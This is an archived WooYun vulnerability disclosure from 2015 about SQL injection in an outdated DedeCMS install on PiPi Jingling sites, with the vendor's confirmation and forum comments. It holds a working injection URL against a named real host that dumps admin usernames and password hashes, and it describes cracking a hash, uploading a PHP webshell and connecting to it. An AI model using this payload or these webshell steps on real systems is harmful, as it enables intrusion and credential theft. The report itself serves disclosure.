当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(6) 关注此漏洞

缺陷编号： WooYun-2015-90382

漏洞标题： 皮皮精灵重要站点SQL注射可GetShell(涉及多个站点)

相关厂商： 皮皮精灵

漏洞作者： U神

提交时间： 2015-01-07 09:48

公开时间： 2015-02-21 09:50

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

0人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-07： 细节已通知厂商并且等待厂商处理中
2015-01-07： 厂商已经确认，细节仅向厂商公开
2015-01-17： 细节向核心白帽子及相关领域专家公开
2015-01-27： 细节向普通白帽子公开
2015-02-06： 细节向实习白帽子公开
2015-02-21： 细节向公众公开

简要描述：

详细说明：

挺有意思，皮皮精灵老用一些dedecms来建站，而且还是有漏洞的。

漏洞站点：

code 区域
http://web.youxipai.com/games/content/



用很早以前的漏洞试试：

code 区域
http://web.youxipai.com/games/content//plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23



01.jpg





第二个的密码最简单了，cmd5解一下，那么后台呢？其实说实在的我还是先找到后台才找到这个站的~C段工具就已经获取到了后台，看来皮皮精灵已经习惯用这个后台了~

02.jpg



然后直接地上传php:

03.jpg



04.jpg

漏洞证明：

菜刀连接一下一句话：

05.jpg



涉及到比较多的子站、比如客服、皮皮酒店、官网

06.jpg





可能还涉及到： WooYun: 皮皮精灵某站沦陷近500w用户信息面临泄漏风险 用户信息，但是没有仔细看，太晚了，挖这点洞也是为了攒乌云币来这个月乌云集市买点东西~

不用担心我不是黑客，上传的webshell已删除。数据文件分文未带走~



我只要20个rank！

修复方案：

不要再用有漏洞的dedecms来做站了~

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-01-07 09:59

厂商回复：

感谢洞主的发现，其实我们已经删除了大部分 DedeCMS 的隐患文件，DedeCMS 的相关项目目前都已经不维护了，但是怎么也没发现 下还有一套独立的 dede。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-07 09:56 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了，跪着也要...)
    1

    别闹好吗？

    1# 回复此人
  2. 2015-01-07 10:06 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)
    1

    有一个打卡的，而且U神开始刷首页事件漏洞了，哈哈

    2# 回复此人
  3. 2015-01-07 10:14 | keke ( 路人 | Rank:6 漏洞数:8 | 目测和口算各种妹纸)
    1

    U狗 你不学技术天天刷这个有用吗 学点逆向OK？

    3# 回复此人
  4. 2015-01-07 10:37 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟，联盟托管此号中，欢迎加入08...)
    1

    @keke 刷点rank来~最近我一直没时间发洞儿了

    4# 回复此人
  5. 2015-01-07 14:51 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)
    1

    @U神 U神你好，U神再见！

    5# 回复此人
  6. 2015-02-26 16:01 | 明月影 ( 路人 | Rank:12 漏洞数:8 )
    0

    真的给了20

    6# 回复此人

登录后才能发表评论，请先 登录 。